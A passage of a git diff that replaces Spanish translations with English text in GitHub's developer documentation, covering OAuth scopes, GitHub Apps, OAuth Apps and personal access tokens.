"[Identificar y autorizar usuarios para las GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)". +**Note:** If you're building a GitHub App, you don’t need to provide scopes in your authorization request. For more on this, see "[Identifying and authorizing users for GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)." {% endnote %} -Si tu {% data variables.product.prodname_oauth_app %} no tiene acceso a un buscador, tal como una herramienta de CLI, entonces no necesitarás especificar un alcance para que los usuarios se autentiquen dicha app. Para obtener más información, consulta la sección "[Autorizar las Apps de OAuth](/developers/apps/authorizing-oauth-apps#device-flow)". +If your {% data variables.product.prodname_oauth_app %} doesn't have access to a browser, such as a CLI tool, then you don't need to specify a scope for users to authenticate to your app. For more information, see "[Authorizing OAuth apps](/developers/apps/authorizing-oauth-apps#device-flow)." -Verifica los encabezados para ver qué alcances de OAuth tienes, y cuáles acepta la acción de la API: +Check headers to see what OAuth scopes you have, and what the API action accepts: ```shell $ curl -H "Authorization: token OAUTH-TOKEN" {% data variables.product.api_url_pre %}/users/codertocat -I @@ -34,53 +33,54 @@ X-OAuth-Scopes: repo, user X-Accepted-OAuth-Scopes: user ``` -* `X-OAuth-Scopes` lista los alcances que tu token tiene autorizados. -* `X-Accepted-OAuth-Scopes` lista los alcances que revisrá la acción. +* `X-OAuth-Scopes` lists the scopes your token has authorized. +* `X-Accepted-OAuth-Scopes` lists the scopes that the action checks for. -## Alcances disponibles +## Available scopes -| Nombre | Descripción | -| ------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |{% ifversion not ghae %} -| **`(no scope)`** | Otorga acceso de solo lectura a la información pública (incluyendo la del perfil del usuario, repositorio y gists){% endif %}{% ifversion ghes or ghae %} -| **`site_admin`** | Otorga a los administradores de sitio acceso a las [Terminales de la API para la Administración de {% data variables.product.prodname_ghe_server %}](/rest/reference/enterprise-admin).{% endif %} -| **`repo`** | Otorga acceso completo a los repositorios, icnluyendo los privados. Esto incluye acceso de lectura/escritura al código, estados de confirmaciones, proyectos de organización y de repositorio, invitaciones, colaboradores, agregar membrecías de equipo, estados de despliegue y webhooks de repositorio para organizaciones y repositorios. También otorga la capacidad de administrar proyectos de usuario. | -|  `repo:status` | Otorga acceso de lectura/escritura para los estados de confirmaciones de repositorios {% ifversion not ghae %}públicos{% else %}internos{% endif %} y privados. Este alcance solo se necesita para otorgar a otros usuarios o servicios el acceso a los estados de las confirmaciones en repositorios privados *sin* otorgarles acceso al código. | -|  `repo_deployment` | Otorga acceso a los [estados de despliegue](/rest/reference/repos#deployments) para los repositorios{% ifversion not ghae %}públicos{% else %}internos{% endif %} y privados. Este alcance solo se necesita para otorgar acceso a otros usuarios o servicios para los estados de despliegue, *sin* otorgar acceso al código.{% ifversion not ghae %} -|  `public_repo` | Limita el acceso a los repositorios públicos. Esto incluye el acceso de lectura/escritura al código, estados de las confirmaciones, proyectos de repositorio, colaboradores y estados de despliegue para los repositorios públicos y para las organizaciones. También se requieren para marcar los repositorios públicos como favoritos.{% endif %} -|  `repo:invite` | Otorga capacidades de aceptar/rechazar las invitaciones para colaborar con un repositorio. This scope is only necessary to grant other users or services access to invites *without* granting access to the code.{% ifversion fpt or ghes > 3.0 or ghec %} -|  `security_events` | Otorga:
acceso de lectura y escritura para los eventos de seguridad en la [API del {% data variables.product.prodname_code_scanning %}](/rest/reference/code-scanning)
acceso de lectura y escritura para los eventos de seguridad en la [API del {% data variables.product.prodname_secret_scanning %}](/rest/reference/secret-scanning)
Este alcance solo es necesario para otorgar acceso a los eventos de seguridad para otros usuarios o servicios *sin* otorgar acceso al código.{% endif %}{% ifversion ghes < 3.1 %} -|  `security_events` | Otorga acceso de lectura y escritura a los eventos de seguridad en la [API de {% data variables.product.prodname_code_scanning %}](/rest/reference/code-scanning). Este alcance solo es necesario para otorgar acceso a los eventos de seguridad a otros usuarios o servicios *sin* otorgarles acceso al código.{% endif %} -| **`admin:repo_hook`** | Otorga acceso de lectura, escritura, ping y borrado para los ganchos de repositorio en los repositorios {% ifversion not ghae %}públicos{% else %}internos{% endif %} y privados. El alcance de `repo` {% ifversion not ghae %}y de `public_repo` otorgan{% else %}otorga{% endif %} acceso total a los repositorios, icnluyendo a los ganchos de repositorio. Utiliza el alcance `admin:repo_hook` para limitar el acceso únicamente a los ganchos de los repositorios. | -|  `write:repo_hook` | Otorga acceso de lectura, escritura y ping a los ganchos en los repositorios {% ifversion not ghae %}públicos{% else %}internos{% endif %} o privados. | -|  `read:repo_hook` | Otorga acceso de lectura y ping a los ganchos en los repositorios {% ifversion not ghae %}públicos{% else %}internos{% endif %} o privados. | -| **`admin:org`** | Para administrar totalmente la organización y sus equipos, proyectos y membrecías. | -|  `write:org` | Acceso de lectura y escritura para la membrecía de organización y de los equipos y para los proyectos de la organización. | -|  `read:org` | Acceso de solo lectura para la membrecía de organización y de los equipos y para los proyectos de la organización. | -| **`admin:public_key`** | Administrar totalmente las llaves públicas. | -|  `write:public_key` | Crear, listar y ver los detalles de las llaves públicas. | -|  `read:public_key` | Listar y ver los detalles para las llaves públicas. | -| **`admin:org_hook`** | Otorga acceso de lectura, escritura, ping y borrado para los ganchos de la organización. **Nota:** Los tokens de OAuth solo podrán realizar estas acciones en los ganchos de la organización los cuales haya creado la App de OAuth. Los tokens de acceso personal solo podrán llevar a cabo estas acciones en los ganchos de la organización que cree un usuario. | -| **`gist`** | Otorga acceso de escritura a los gists. | -| **`notifications`** | Otorga:
* acceso de lectura a las notificaciones de un usuario
* acceso de marcar como leído en los hilos
* acceso de observar y dejar de observar en un repositorio, y
* acceso de lectura, escritura y borrado para las suscripciones a los hilos. | -| **`usuario`** | Otorga acceso de lectura/escritura únicamente para la información de perfil. Este alcance incluye a `user:email` y `user:follow`. | -|  `read:user` | Otorga acceso para leer los datos de perfil de un usuario. | -|  `user:email` | Otorga acceso de lectura para las direcciones de correo electrónico de un usuario. | -|  `user:follow` | Otorga acceso para seguir o dejar de seguir a otros usuarios. | -| **`delete_repo`** | Otorga acceso para borrar los repositorios administrables. | -| **`write:discussion`** | Permite el acceso de lectura y escritura para los debates de equipo. | -|  `read:discussion` | Allows read access for team discussions.{% ifversion fpt or ghae or ghec %} -| **`write:packages`** | Otorga acceso para cargar o publicar un paquete en el {% data variables.product.prodname_registry %}. Para obtener más información, consulta la sección "[Publicar un paquete](/github/managing-packages-with-github-packages/publishing-a-package)". | -| **`read:packages`** | Otorga acceso para descargar o instalar paquetes desde el {% data variables.product.prodname_registry %}. Para obtener más información, consulta la sección "[Instalar un paquete](/github/managing-packages-with-github-packages/installing-a-package)". | -| **`delete:packages`** | Otorga acceso para borrar paquetes del {% data variables.product.prodname_registry %}. For more information, see "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}."{% endif %} -| **`admin:gpg_key`** | Administra las llaves GPG totalmente. | -|  `write:gpg_key` | Crea, lista, y visualiza los detalles de las llaves GPG. | -|  `read:gpg_key` | List and view details for GPG keys.{% ifversion fpt or ghec %} -| **`codespace`** | Grants the ability to create and manage codespaces. Codespaces can expose a GITHUB_TOKEN which may have a different set of scopes. For more information, see "[Security in Codespaces](/codespaces/codespaces-reference/security-in-codespaces#authentication)." | -| **`flujo de trabajo`** | Otorga la capacidad de agregar y actualizar archivos del flujo de trabajo de las {% data variables.product.prodname_actions %}. Los archivos de flujo de trabajo pueden confirmarse sin este alcance en caso de que el mismo archivo (con la misma ruta y el mismo contenido) exista en otra rama en el mismo repositorio. Los archivos de flujo de trabajo pueden exponer al `GITHUB_TOKEN`, el cual puede tener un conjunto diferente de alcances. Para obtener más información, consulta la sección "[Autenticación en un flujo de trabajo](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)".{% endif %} +Name | Description +-----|-----------|{% ifversion not ghae %} +**`(no scope)`** | Grants read-only access to public information (including user profile info, repository info, and gists){% endif %}{% ifversion ghes or ghae %} +**`site_admin`** | Grants site administrators access to [{% data variables.product.prodname_ghe_server %} Administration API endpoints](/rest/reference/enterprise-admin).{% endif %} +**`repo`** | Grants full access to repositories, including private repositories. That includes read/write access to code, commit statuses, repository and organization projects, invitations, collaborators, adding team memberships, deployment statuses, and repository webhooks for repositories and organizations. Also grants ability to manage user projects. + `repo:status`| Grants read/write access to commit statuses in {% ifversion fpt %}public and private{% elsif ghec or ghes %}public, private, and internal{% elsif ghae %}private and internal{% endif %} repositories. This scope is only necessary to grant other users or services access to private repository commit statuses *without* granting access to the code. + `repo_deployment`| Grants access to [deployment statuses](/rest/reference/repos#deployments) for {% ifversion not ghae %}public{% else %}internal{% endif %} and private repositories. This scope is only necessary to grant other users or services access to deployment statuses, *without* granting access to the code.{% ifversion not ghae %} + `public_repo`| Limits access to public repositories. That includes read/write access to code, commit statuses, repository projects, collaborators, and deployment statuses for public repositories and organizations. Also required for starring public repositories.{% endif %} + `repo:invite` | Grants accept/decline abilities for invitations to collaborate on a repository. This scope is only necessary to grant other users or services access to invites *without* granting access to the code.{% ifversion fpt or ghes > 3.0 or ghec %} + `security_events` | Grants:
read and write access to security events in the [{% data variables.product.prodname_code_scanning %} API](/rest/reference/code-scanning)
read and write access to security events in the [{% data variables.product.prodname_secret_scanning %} API](/rest/reference/secret-scanning)
This scope is only necessary to grant other users or services access to security events *without* granting access to the code.{% endif %}{% ifversion ghes < 3.1 %} + `security_events` | Grants read and write access to security events in the [{% data variables.product.prodname_code_scanning %} API](/rest/reference/code-scanning). This scope is only necessary to grant other users or services access to security events *without* granting access to the code.{% endif %} +**`admin:repo_hook`** | Grants read, write, ping, and delete access to repository hooks in {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories. The `repo` {% ifversion fpt or ghec or ghes %}and `public_repo` scopes grant{% else %}scope grants{% endif %} full access to repositories, including repository hooks. Use the `admin:repo_hook` scope to limit access to only repository hooks. + `write:repo_hook` | Grants read, write, and ping access to hooks in {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories. + `read:repo_hook`| Grants read and ping access to hooks in {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories. +**`admin:org`** | Fully manage the organization and its teams, projects, and memberships. + `write:org`| Read and write access to organization membership, organization projects, and team membership. + `read:org`| Read-only access to organization membership, organization projects, and team membership. +**`admin:public_key`** | Fully manage public keys. + `write:public_key`| Create, list, and view details for public keys. + `read:public_key`| List and view details for public keys. +**`admin:org_hook`** | Grants read, write, ping, and delete access to organization hooks. **Note:** OAuth tokens will only be able to perform these actions on organization hooks which were created by the OAuth App. Personal access tokens will only be able to perform these actions on organization hooks created by a user. +**`gist`** | Grants write access to gists. +**`notifications`** | Grants:
* read access to a user's notifications
* mark as read access to threads
* watch and unwatch access to a repository, and
* read, write, and delete access to thread subscriptions. +**`user`** | Grants read/write access to profile info only. Note that this scope includes `user:email` and `user:follow`. + `read:user`| Grants access to read a user's profile data. + `user:email`| Grants read access to a user's email addresses. + `user:follow`| Grants access to follow or unfollow other users. +**`delete_repo`** | Grants access to delete adminable repositories. +**`write:discussion`** | Allows read and write access for team discussions. + `read:discussion` | Allows read access for team discussions.{% ifversion fpt or ghae or ghec %} +**`write:packages`** | Grants access to upload or publish a package in {% data variables.product.prodname_registry %}. For more information, see "[Publishing a package](/github/managing-packages-with-github-packages/publishing-a-package)". +**`read:packages`** | Grants access to download or install packages from {% data variables.product.prodname_registry %}. For more information, see "[Installing a package](/github/managing-packages-with-github-packages/installing-a-package)". +**`delete:packages`** | Grants access to delete packages from {% data variables.product.prodname_registry %}. For more information, see "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}."{% endif %} +**`admin:gpg_key`** | Fully manage GPG keys. + `write:gpg_key`| Create, list, and view details for GPG keys. + `read:gpg_key`| List and view details for GPG keys.{% ifversion fpt or ghec %} +**`codespace`** | Grants the ability to create and manage codespaces. Codespaces can expose a GITHUB_TOKEN which may have a different set of scopes. For more information, see "[Security in Codespaces](/codespaces/codespaces-reference/security-in-codespaces#authentication)." +**`workflow`** | Grants the ability to add and update {% data variables.product.prodname_actions %} workflow files. Workflow files can be committed without this scope if the same file (with both the same path and contents) exists on another branch in the same repository. Workflow files can expose `GITHUB_TOKEN` which may have a different set of scopes. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)."{% endif %} {% note %} -**Nota:** Tu App de OAuth puede solicitar los alcances en la redirección inicial. Puedes especificar alcances múltiples si los separas con un espacio utilizando `%20`: +**Note:** Your OAuth App can request the scopes in the initial redirection. You +can specify multiple scopes by separating them with a space using `%20`: https://github.com/login/oauth/authorize? client_id=...& @@ -88,16 +88,31 @@ X-Accepted-OAuth-Scopes: user {% endnote %} -## Alcances solicitados y otorgados +## Requested scopes and granted scopes -El atributo `scope` lista los alcances adjuntos al token que otorgó el usuario. Normalmente, estos alcances serán idénticos a lo que solicitaste. Sin embargo, los usuarios pueden editar sus alcances, lo cual es efectivo para otorgar a tu organización menos accesos de lo que solicitaste originalmente. También, los usuarios puede editar los alcances de los tokens después de completar un flujo de OAuth. Debes estar consciente de esta posibilidad y ajustar el comportamiento de tu aplicación de acuerdo con esto. +The `scope` attribute lists scopes attached to the token that were granted by +the user. Normally, these scopes will be identical to what you requested. +However, users can edit their scopes, effectively +granting your application less access than you originally requested. Also, users +can edit token scopes after the OAuth flow is completed. +You should be aware of this possibility and adjust your application's behavior +accordingly. -Es importante gestionar los casos de error en donde un usuario elige otorgarte menos acceso de lo que solicitaste originalmente. Por ejemplo, las aplicaciones pueden advertir o comunicar de cualquier otra forma a sus usuarios si experimentarán funcionalidad reducida o si serán incapaces de realizar alguna acción. +It's important to handle error cases where a user chooses to grant you +less access than you originally requested. For example, applications can warn +or otherwise communicate with their users that they will see reduced +functionality or be unable to perform some actions. -También, las aplicaciones siempre pueden enviar nuevamente de regreso a los usuarios a través del flujo para obtener permisos adicionales, pero no olvides que dichos usuarios siempre pueden rehusarse a hacerlo. +Also, applications can always send users back through the flow again to get +additional permission, but don’t forget that users can always say no. -Revisa la sección [Guía de aspectos básicos de la autenticación](/guides/basics-of-authentication/), la cual proporciona consejos sobre la gestión de alcances modificables de los tokens. +Check out the [Basics of Authentication guide](/guides/basics-of-authentication/), which +provides tips on handling modifiable token scopes. -## Alcances normalizados +## Normalized scopes -Cuando solicites alcances múltiples, el token se guarda con una lista de alcances normalizada y descarta aquellos que se otro alcance solicitado incluya implícitamente. Por ejemplo, el solicitar `user,gist,user:email` dará como resultado un token con alcances de `user` y de `gist` únicamente, ya que el acceso que se otorga con el alcance `user:email` se incluye en el alcance `user`. +When requesting multiple scopes, the token is saved with a normalized list +of scopes, discarding those that are implicitly included by another requested +scope. For example, requesting `user,gist,user:email` will result in a +token with `user` and `gist` scopes only since the access granted with +`user:email` scope is included in the `user` scope. diff --git a/translations/es-ES/content/developers/apps/getting-started-with-apps/about-apps.md b/translations/es-ES/content/developers/apps/getting-started-with-apps/about-apps.md index 3b634593d8..bcb5178dfb 100644 --- a/translations/es-ES/content/developers/apps/getting-started-with-apps/about-apps.md +++ b/translations/es-ES/content/developers/apps/getting-started-with-apps/about-apps.md @@ -1,5 +1,5 @@ --- -title: Acerca de las apps +title: About apps intro: 'You can build integrations with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} APIs to add flexibility and reduce friction in your own workflow.{% ifversion fpt or ghec %} You can also share integrations with others on [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace).{% endif %}' redirect_from: - /apps/building-integrations/setting-up-a-new-integration/ @@ -15,92 +15,91 @@ versions: topics: - GitHub Apps --- +Apps on {% data variables.product.prodname_dotcom %} allow you to automate and improve your workflow. You can build apps to improve your workflow.{% ifversion fpt or ghec %} You can also share or sell apps in [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace). To learn how to list an app on {% data variables.product.prodname_marketplace %}, see "[Getting started with GitHub Marketplace](/marketplace/getting-started/)."{% endif %} -Las apps en {% data variables.product.prodname_dotcom %} te permiten automatizar y mejorar tu flujo de trabajo. Puedes crear apps para mejorar tu flujo de trabajo. {% ifversion fpt or ghec %} También puedes compartir o vender apps en [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace). Para aprender sobre cómo listar una app en {% data variables.product.prodname_marketplace %}, consulta la sección "[Comenzar con GitHub Marketplace](/marketplace/getting-started/)".{% endif %} - -{% data reusables.marketplace.github_apps_preferred %}, Pero GitHub es compatible tanto con las {% data variables.product.prodname_oauth_apps %} y con las {% data variables.product.prodname_github_apps %}. Para obtener más información sobre cómo elegir un tipo de app, consulta la sección "[Diferencias entre las GitHub Apps y las Apps de OAuth](/developers/apps/differences-between-github-apps-and-oauth-apps)". +{% data reusables.marketplace.github_apps_preferred %}, but GitHub supports both {% data variables.product.prodname_oauth_apps %} and {% data variables.product.prodname_github_apps %}. For information on choosing a type of app, see "[Differences between GitHub Apps and OAuth Apps](/developers/apps/differences-between-github-apps-and-oauth-apps)." {% data reusables.apps.general-apps-restrictions %} -Para obtener una guía detallada del proceso de creación de una {% data variables.product.prodname_github_app %}, consulta la sección "[Crea tu primer {% data variables.product.prodname_github_app %}](/apps/building-your-first-github-app)". +For a walkthrough of the process of building a {% data variables.product.prodname_github_app %}, see "[Building Your First {% data variables.product.prodname_github_app %}](/apps/building-your-first-github-app)." -## Acerca de {% data variables.product.prodname_github_apps %} +## About {% data variables.product.prodname_github_apps %} -Las {% data variables.product.prodname_github_apps %} son actores de primera clase dentro de GitHub. Una {% data variables.product.prodname_github_app %} actúa por si misma, tomando las acciones a través de la API y utilizando directamente su propia identidad, lo que significa que no necesitas mantener un bot o cuenta de servicio como un usuario separado. +{% data variables.product.prodname_github_apps %} are first-class actors within GitHub. A {% data variables.product.prodname_github_app %} acts on its own behalf, taking actions via the API directly using its own identity, which means you don't need to maintain a bot or service account as a separate user. -Las {% data variables.product.prodname_github_apps %} se pueden instalar directamente en las cuentas de organización y de usuario, y se les puede dar acceso a repositorios diferentes. Vienen con webhooks integrados y con permisos específicos y delimitados. Cuando configuras tu {% data variables.product.prodname_github_app %}, puedes seleccionar los repositorios a los cuales quieres acceder. Por ejemplo, puedes configurar una app llamada `MyGitHub` que escribe informes de problemas en el repositorio `octocat` y _únicamente_ en dicho repositorio. Para instalar una {% data variables.product.prodname_github_app %}, necesitas ser propietario de la organización o tener permisos administrativos en el repositorio. +{% data variables.product.prodname_github_apps %} can be installed directly on organizations and user accounts and granted access to specific repositories. They come with built-in webhooks and narrow, specific permissions. When you set up your {% data variables.product.prodname_github_app %}, you can select the repositories you want it to access. For example, you can set up an app called `MyGitHub` that writes issues in the `octocat` repository and _only_ the `octocat` repository. To install a {% data variables.product.prodname_github_app %}, you must be an organization owner or have admin permissions in a repository. {% data reusables.apps.app_manager_role %} -Las {% data variables.product.prodname_github_apps %} son aplicaciones que necesitan hospedarse en algún lugar. Para obtener instruciones paso a paso que cubran los temas de servidores y hospedaje, consulta la sección "[Crear tu primer {% data variables.product.prodname_github_app %}](/apps/building-your-first-github-app)". +{% data variables.product.prodname_github_apps %} are applications that need to be hosted somewhere. For step-by-step instructions that cover servers and hosting, see "[Building Your First {% data variables.product.prodname_github_app %}](/apps/building-your-first-github-app)." -Para mejorar tu flujo de trabajo, puedes crear una {% data variables.product.prodname_github_app %} que contenga varios scripts, o bien, una aplicación completa, y después conectarla a muchas otras herramientas. Por ejemplo, puedes conectar las {% data variables.product.prodname_github_apps %} a GitHub, Slack, a otras apps locales que tuvieras, programas de correo electrónico, o incluso a otras API. +To improve your workflow, you can create a {% data variables.product.prodname_github_app %} that contains multiple scripts or an entire application, and then connect that app to many other tools. For example, you can connect {% data variables.product.prodname_github_apps %} to GitHub, Slack, other in-house apps you may have, email programs, or other APIs. -Toma estas ideas en consideración cuando crees {% data variables.product.prodname_github_apps %}: +Keep these ideas in mind when creating {% data variables.product.prodname_github_apps %}: {% ifversion fpt or ghec %} * {% data reusables.apps.maximum-github-apps-allowed %} {% endif %} -* Una {% data variables.product.prodname_github_app %} debe tomar acciones independientemente del usuario (a menos de que dicha app utilice un token de [usuario a servidor](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). {% data reusables.apps.expiring_user_authorization_tokens %} +* A {% data variables.product.prodname_github_app %} should take actions independent of a user (unless the app is using a [user-to-server](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). {% data reusables.apps.expiring_user_authorization_tokens %} -* Asegúrate de que la {% data variables.product.prodname_github_app %} se integre con repositorios específicos. -* La {% data variables.product.prodname_github_app %} deberá conectarse a una cuenta personal o a una organización. -* No esperes que la {% data variables.product.prodname_github_app %} sepa y haga todo lo que puede hacer un usuario. -* No utilices a la {% data variables.product.prodname_github_app %} si solo necesitas el servicio de "Iniciar sesión en GitHub". Sin embargo, una {% data variables.product.prodname_github_app %} puede utilizar un [flujo de identificación de usuario](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/) para registrar a los usuarios _y_ para hacer otras cosas. -* No crees una {% data variables.product.prodname_github_app %} si _únicamente_ quieres fungir como un usuario de GitHub y hacer todo lo que puede hacer un usuario. {% ifversion fpt or ghec %} +* Make sure the {% data variables.product.prodname_github_app %} integrates with specific repositories. +* The {% data variables.product.prodname_github_app %} should connect to a personal account or an organization. +* Don't expect the {% data variables.product.prodname_github_app %} to know and do everything a user can. +* Don't use a {% data variables.product.prodname_github_app %} if you just need a "Login with GitHub" service. But a {% data variables.product.prodname_github_app %} can use a [user identification flow](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/) to log users in _and_ do other things. +* Don't build a {% data variables.product.prodname_github_app %} if you _only_ want to act as a GitHub user and do everything that user can do.{% ifversion fpt or ghec %} * {% data reusables.apps.general-apps-restrictions %}{% endif %} To begin developing {% data variables.product.prodname_github_apps %}, start with "[Creating a {% data variables.product.prodname_github_app %}](/apps/building-github-apps/creating-a-github-app/)."{% ifversion fpt or ghec %} To learn how to use {% data variables.product.prodname_github_app %} Manifests, which allow people to create preconfigured {% data variables.product.prodname_github_apps %}, see "[Creating {% data variables.product.prodname_github_apps %} from a manifest](/apps/building-github-apps/creating-github-apps-from-a-manifest/)."{% endif %} -## Acerca de las {% data variables.product.prodname_oauth_apps %} +## About {% data variables.product.prodname_oauth_apps %} -OAuth2 es un protocolo que permite a las aplicaciones externas el solicitar autorización para usar detalles privados en una cuenta de {% data variables.product.prodname_dotcom %} del usuario sin acceder a su contraseña. Estas son preferentes sobre la Autenticación Básica, ya que los tokens pueden limitarse a ciertos tipos de datos y los usuarios pueden revocarlos en cualquier momento. +OAuth2 is a protocol that lets external applications request authorization to private details in a user's {% data variables.product.prodname_dotcom %} account without accessing their password. This is preferred over Basic Authentication because tokens can be limited to specific types of data and can be revoked by users at any time. {% data reusables.apps.deletes_ssh_keys %} -Una {% data variables.product.prodname_oauth_app %} utiliza a {% data variables.product.prodname_dotcom %} como proveedor de identidad para autenticarse como el usuario que otorga el acceso a la app. Esto significa que, cuando un usuario otorga acceso a una {% data variables.product.prodname_oauth_app %}, también otorga permisos a _todos_ los repositorios a los cuales tienen acceso en su cuenta, y también a cualquier organización a la que pertenezcan que no haya bloqueado el acceso de terceros. +An {% data variables.product.prodname_oauth_app %} uses {% data variables.product.prodname_dotcom %} as an identity provider to authenticate as the user who grants access to the app. This means when a user grants an {% data variables.product.prodname_oauth_app %} access, they grant permissions to _all_ repositories they have access to in their account, and also to any organizations they belong to that haven't blocked third-party access. -Crear una {% data variables.product.prodname_oauth_app %} es una buena opción si estás creando procesos más complejos de lo que puede manejar un script sencillo. Nota que las {% data variables.product.prodname_oauth_apps %} son aplicaciones que necesitan hospedarse en algún lugar. +Building an {% data variables.product.prodname_oauth_app %} is a good option if you are creating more complex processes than a simple script can handle. Note that {% data variables.product.prodname_oauth_apps %} are applications that need to be hosted somewhere. -Toma estas ideas en consideración cuando crees {% data variables.product.prodname_oauth_apps %}: +Keep these ideas in mind when creating {% data variables.product.prodname_oauth_apps %}: {% ifversion fpt or ghec %} * {% data reusables.apps.maximum-oauth-apps-allowed %} {% endif %} -* Una {% data variables.product.prodname_oauth_app %} siempre debe actuar como el usuario autenticado de {% data variables.product.prodname_dotcom %} a través de todo {% data variables.product.prodname_dotcom %} (por ejemplo, cuando proporciona notificaciones de usuario). -* Una {% data variables.product.prodname_oauth_app %} puede utilizarse como un proveedor de identidad si el usuario autenticado habilita la opción de "Ingresar con {% data variables.product.prodname_dotcom %}". -* No crees una {% data variables.product.prodname_oauth_app %} si quieres que tu aplicación actúe en un solo repositorio. Con el alcance de `repo` de OAuth, Las {% data variables.product.prodname_oauth_apps %} podrán actuar en _todos_ los repositorios del usuario autenticado. -* No crees una {% data variables.product.prodname_oauth_app %} para que actúe como una aplicación para tu equipo o compañía. {% data variables.product.prodname_oauth_apps %} authenticate as a single user, so if one person creates an {% data variables.product.prodname_oauth_app %} for a company to use, and then they leave the company, no one else will have access to it.{% ifversion fpt or ghec %} +* An {% data variables.product.prodname_oauth_app %} should always act as the authenticated {% data variables.product.prodname_dotcom %} user across all of {% data variables.product.prodname_dotcom %} (for example, when providing user notifications). +* An {% data variables.product.prodname_oauth_app %} can be used as an identity provider by enabling a "Login with {% data variables.product.prodname_dotcom %}" for the authenticated user. +* Don't build an {% data variables.product.prodname_oauth_app %} if you want your application to act on a single repository. With the `repo` OAuth scope, {% data variables.product.prodname_oauth_apps %} can act on _all_ of the authenticated user's repositories. +* Don't build an {% data variables.product.prodname_oauth_app %} to act as an application for your team or company. {% data variables.product.prodname_oauth_apps %} authenticate as a single user, so if one person creates an {% data variables.product.prodname_oauth_app %} for a company to use, and then they leave the company, no one else will have access to it.{% ifversion fpt or ghec %} * {% data reusables.apps.oauth-apps-restrictions %}{% endif %} -Para obtener más información sobre las {% data variables.product.prodname_oauth_apps %}, consulta las secciones "[Crear una {% data variables.product.prodname_oauth_app %}](/apps/building-oauth-apps/creating-an-oauth-app/)" y "[Registrar tu app](/rest/guides/basics-of-authentication#registering-your-app)". +For more on {% data variables.product.prodname_oauth_apps %}, see "[Creating an {% data variables.product.prodname_oauth_app %}](/apps/building-oauth-apps/creating-an-oauth-app/)" and "[Registering your app](/rest/guides/basics-of-authentication#registering-your-app)." -## Tokens de acceso personal +## Personal access tokens -Un [token de acceso personal](/articles/creating-a-personal-access-token-for-the-command-line/) es una secuencia de caracteres que funciona de forma similar a un [Token de OAuth](/apps/building-oauth-apps/authorizing-oauth-apps/) en el aspecto de que puedes especificar sus permisos a través de [alcances](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/). Un token de acceso personal también es similar a una contraseña, pero puedes tener varios de ellos y puedes revocar el acceso de cada uno en cualquier momento. +A [personal access token](/articles/creating-a-personal-access-token-for-the-command-line/) is a string of characters that functions similarly to an [OAuth token](/apps/building-oauth-apps/authorizing-oauth-apps/) in that you can specify its permissions via [scopes](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/). A personal access token is also similar to a password, but you can have many of them and you can revoke access to each one at any time. -Com ejemplo, puedes habilitar un token de acceso personal para tener acceso de escritura en tus repositorios. Si posteriormente ejecutas un comando de cURL o escribes un script que [cree una propuesta](/rest/reference/issues#create-an-issue) en tu repositorio, tendrías que pasar el token de acceso personal para autenticarte. Puedes almacenar el token de acceso personal como una variable de ambiente para evitar el tener que teclearlo cada vez que lo utilices. +As an example, you can enable a personal access token to write to your repositories. If then you run a cURL command or write a script that [creates an issue](/rest/reference/issues#create-an-issue) in your repository, you would pass the personal access token to authenticate. You can store the personal access token as an environment variable to avoid typing it every time you use it. -Considera estas ideas cuando utilices tokens de acceso personal: +Keep these ideas in mind when using personal access tokens: -* Recuerda utilizar este token para que te represente únicamente a ti. -* Puedes realizar solicitudes cURL de una sola ocasión. -* Puedes ejecutar scripts personales. -* No configures un script para que lo utilice todo tu equipo o compañía. +* Remember to use this token to represent yourself only. +* You can perform one-off cURL requests. +* You can run personal scripts. +* Don't set up a script for your whole team or company to use. * Don't set up a shared user account to act as a bot user.{% ifversion fpt or ghes > 3.2 or ghae-issue-4374 or ghec %} -* Sí debes establecer un vencimiento para tus tokens de acceso personal para que te ayuden a mantener tu información segura.{% endif %} +* Do set an expiration for your personal access tokens, to help keep your information secure.{% endif %} -## Determinar qué integración debes crear +## Determining which integration to build -Before you get started creating integrations, you need to determine the best way to access, authenticate, and interact with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} APIs. La siguiente imagen te proporciona algunas preguntas que deberías hacerte a ti mismo cuando decidas si vas a utilizar tokens de acceso personal, {% data variables.product.prodname_github_apps %} o {% data variables.product.prodname_oauth_apps %} para tu integración. +Before you get started creating integrations, you need to determine the best way to access, authenticate, and interact with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} APIs. The following image offers some questions to ask yourself when deciding whether to use personal access tokens, {% data variables.product.prodname_github_apps %}, or {% data variables.product.prodname_oauth_apps %} for your integration. -![Introducción al flujo de preguntas de apps](/assets/images/intro-to-apps-flow.png) +![Intro to apps question flow](/assets/images/intro-to-apps-flow.png) -Considera estas preguntas 